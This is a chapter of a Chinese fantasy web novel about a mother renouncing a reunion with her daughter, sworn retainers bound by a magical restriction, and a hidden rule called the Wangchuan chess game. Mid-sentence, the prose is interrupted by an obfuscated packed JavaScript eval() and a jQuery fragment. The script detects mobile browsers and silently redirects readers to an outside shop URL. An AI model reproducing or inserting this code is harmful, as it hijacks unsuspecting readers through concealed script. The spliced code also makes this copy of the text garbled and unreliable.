文趣网 > 其他小说 > 灭世反派决定去写童话 > 72. 忘川·棋局
    知墨没有说话,她的手心里的源力重新聚起,没有减弱,也没有增强,也没有向应珍砸去。

    它就那么安静地亮着,像一盏将灭未灭的灯。

    观棋往前挪了半步,刚好挡在知墨和应珍之间。

    殿中的空气凝滞了。

    而就在此时风雅颂却先开口了:“月儿,不必。”

    所有人看向她——

    风雅颂的手从钟离赋腕上收回来,撑着床沿,慢慢地、一寸一寸地站了起来。钟离赋要去扶她,她摆了摆手。

    她赤着脚站在冰凉的地面上,穿着一件洗得发白的旧寝衣,头发散着,面容苍白,瘦得像一株被风吹弯了又勉强直起来的竹子。

    但风雅颂的眼睛是亮的,那种亮有少女的天真,也有母亲望着女儿的温柔,更多的是一种被碾碎过、被焚烧过、被从灰烬里翻出来之后,依然不肯熄灭的固执的亮。

    “我不去了。”

    应珍皱起了眉,一时之间她不知是该先对“月儿”这个称呼,还是对风雅颂这句“我不去了”做出反应。

    “钟离夫人……”知墨显然没有想到风雅颂会如此轻易地改了主意。

    “我叫风雅颂,”风雅颂抬手打断了她,“钟离夫人,宫主夫人,都是谁的附属。我叫风雅颂,我花了很长的时间才把这个名字找回来,请你叫它。”

    “……”

    风雅颂赤着脚走到知墨面前:“知墨姑娘,你方才说,关于忆儿身份的事,不能带出钟离宫,那就不带出去。她的名字是石蕴玉,她的师父是含和宗的宗主,她的未来是含和宗主,那段有关钟离宫过往只会为她徒增烦恼。”

    知墨的睫毛颤了一下,那是应珍第一次在她的脸上看到类似于“动容”的表情,但只有一瞬,然后恢复了平静。

    “阿蕴是否需要知晓她的身份,她的名字,这件事没人能做的了她的主,”应珍毫不客气地对风雅颂说道,“你且要‘风雅颂’这个名字,阿蕴为何不能要‘钟离忆’这个名字?阿蕴也不该是谁的附属,钟离宫少宫主,含和宗少宗主,阿蕴也可以是钟离忆,也可以是石蕴玉,仅此而已。”

    风雅颂深深地看了应珍一眼,有些语塞,她只好转头对知墨说:“我向你保证,关于忆儿的身份,钟离宫人不会将其带出,但我需要你转告宿宗主——”

    知墨微微抬眸。

    “请你告诉她,”风雅颂一字一顿,“她欠我一个解释,是关于那面镜子的。那面镜子是她让月儿带来的吧?宿宗主,她明知道问尘镜会吞噬我,为什么还要让它留在钟离宫?她明知道忆儿的心可以治好,为什么偏偏要等到三岁?她明知道我会被镜子里的那个人取代,为什么——”

    风雅颂平静的声音终于裂了一道缝,像一块被敲出纹路的瓷器,没有碎,但裂纹清晰可见。

    “为什么她从来不问问我想不想要?”

    殿中没有人说话。

    知墨掌心那团源力熄灭了,她垂下眼帘,微微欠身:“抱歉,在下并不知何时能与宗主再见,若能再见,在下会将话带到。”

    然后她直起身,转向应珍,单膝跪了下去:“门主。”

    知墨的声音清冽如常,但多了一层此前没有的东西。

    应珍想了想,那大概叫“服软”,知墨从不服软,她是宿殷为自己铸的一把刀,刀不会服软,刀只会断。

    “属下奉命行事,不敢违抗宗主之命,但属下亦追随门主多年,”她顿了顿,“门主若执意要将含和少宗主的身份带出钟离宫,属下是拦不住的,只是——”

    “只是什么?”

    “只是宗主曾在属□□内种下禁制,若属下违背宗主命令或无法完成宗主所托,属□□内的禁制便会发作,”知墨的声音很平淡,“属下的命是宗主救的,还给她也无妨,属下只怕门主会受到惩戒。”

    观棋也跪了下来,她什么也没说,只是单膝跪在知墨身侧,微微低下头。

    应珍看着她们,看了很久。

    她忽然想起自己刚入含和宗的那年,师父将这两个人带到她面前,知墨和观棋也是和她差不多大的岁数,两人站在漱玉殿中,不说话也不笑。

    师父将她们推到她面前,说:“她们以后就跟着你了。”

    然后师父就走了,只有知墨和观棋留了下来,一留就是二十年。

    二十年里,应珍从未听知墨提过“禁制”两个字,她也从想过为什么知墨和观棋对她忠诚却不亲近。

    但现在她知道了,因为她们忠诚于自己,也忠诚于师父。

    知墨和观棋对她很是忠诚,忠到把自己的情感全部收起,忠到不越半分雷池,忠到把她当作一件需要精心守护的器物,而非一个需要亲近的人。

    而她们忠诚的,也从来不是“应婙殊”或是“应珍”,而是含和宗宗主宿殷之徒。

    应珍忽然觉得很累,她掌心的源力也散去了,不像是她收起来的,而是像一口气没续上,自己灭的。

    “起来罢。”她说。

    知墨和观棋没有动。

    “我答应你们。”

    应珍先这么答应,但她心里想的却是,总之真又到了那么一天,也不能指望她这个个毁天灭地的魔头说话算话了。

    知墨抬起头,看了应珍一眼。

    那一眼里有很多东西,但应珍只读出了其中一种——感激。然后她站起来,观棋也跟着站起来。

    两人重新站到了房间角落的位置,一左一右,像两把收鞘的刀。

    风雅颂还站在原地,赤着脚。

    钟离赋不知什么时候走到了她身后,将一件外衫披在她肩上。

    风雅颂拢了拢外衫,转过身,看着钟离赋。

    “阿赋。”

    “嗯?”

    “谢谢你,谢谢你坚定地选择我……但我做了太多的错事,需要你来承担,你来善后。”

    钟离赋的喉结动了动,他的嘴唇张了又合,合了又张:“若能重来,我依旧会这样选择。”

    “可若能重来,我不想遇见你了……”

    “颂儿!”

    “阿赋,你的人生不该被我搅成这样……”

    钟离赋看了她很久,然后伸出手,轻轻拍了拍她的手背,像是在安抚一个做错事的孩子。

    那个动作很轻,很自然,像二十年前

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610657|205924||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在山野间他拍去她肩上的松针一样自然。

    “颂儿,我说过,‘生生世世,我们都能再次重逢’。颂儿,我们也说过,‘无论贫富甘苦,无论疾病康健,无论身在何处,是聚是散,此心不改,此志不渝;无论生死离合,无论岁月长短,无论世俗之言,我们只会认定彼此。天地可鉴,菩萨为证。’”

    风雅颂的眼眶红了,她点了点头,哑声说了一个字:“好。”

    “抱歉,我再打断一下二位的互诉衷肠,”应珍揉揉眉心,“我等尚且还有要事要做,钟离鼎一事……”

    “我带你去。”

    “抱歉,月儿,”风雅颂叫住了他们,“谢谢你,月儿,你刚才说可以,可以让我去见她。你的好意,我心领了,但我不去了。不是因为知墨姑娘的阻拦,是因为我去了,对她不公平。她不知道该如何面对一个她不认识的母亲,我也不知道该怎么面对一个不认识我的女儿。相见不如不见。”

    风雅颂顿了顿,目光越过应珍,越过魏衔青和晏斐,越过敞开的门,望向远处黑沉沉的山影。

    “但她成亲的那天,我想远远地看一眼。可以吗?”

    这句话不是在问应珍的,也不是在问知墨。

    是在问那扇门外可能站着的宿宗主,在问那盏千里之外毓秀灵山上亮着的灯。

    但没有人回答。

    风像是从毓秀灵山那边吹来的一样,穿过拂柳阁的院子,吹动药草丛,发出沙沙的声响,将正殿的大门完全打开,窜进甬道,来到风雅颂身边。

    应珍别过了脸。

    风雅颂站在门口,赤着脚,披着那件外衫,望着远处。

    毓秀灵山离钟离宫很远,但她却仿佛看到了远处山影间那一点微弱的光。

    “如果可以的话,”风雅颂的声音很轻,轻到像是只说给自己听,“帮我告诉她,她最喜欢吃蜜枣;告诉她,她小时候怕黑,夜里总要留一盏灯;告诉她,她三岁的时候换了一颗心,那颗心很强壮,以后不会再疼了。”

    她停了一下。

    “不用告诉她我是谁。就说……是一个故人。一个很想她、但不能去见她的故人。”

    风雅颂说完这句话,转过身,走回了床边,坐了下来,她将脚缩进被褥里,拢了拢外衫,靠着床头,闭上了眼睛。

    烛火在她脸上投下温暖的光影,那张梅林的脸上,泪水已经干了,只留下两道浅浅的泪痕。

    钟离赋将那只兔子玩偶放在她手边,风雅颂摸到了,将它握在掌心里,握得很紧。

    窗外的夜风渐渐停了,药草丛不再作响。但远处的灯,毓秀灵山上的等还亮着,在深秋的夜里,为某个不知情的人照着归途。

    或者,照着来路。

    “风雅颂,”应珍转过身来,她想,她还有更重要的事情要做,“你,为什么叫我月儿?你,为什么会被选中?你,与师父达成了什么交易?钟离忆的那颗心又是谁的?”

    不等风雅颂回答,观棋向前一步:“门主,这便是宗主吩咐属下的事情,道修界遵循的是道法心的规则,而在道法心规则以外,南北两界还隐藏着一条规则,名为,忘川棋局。”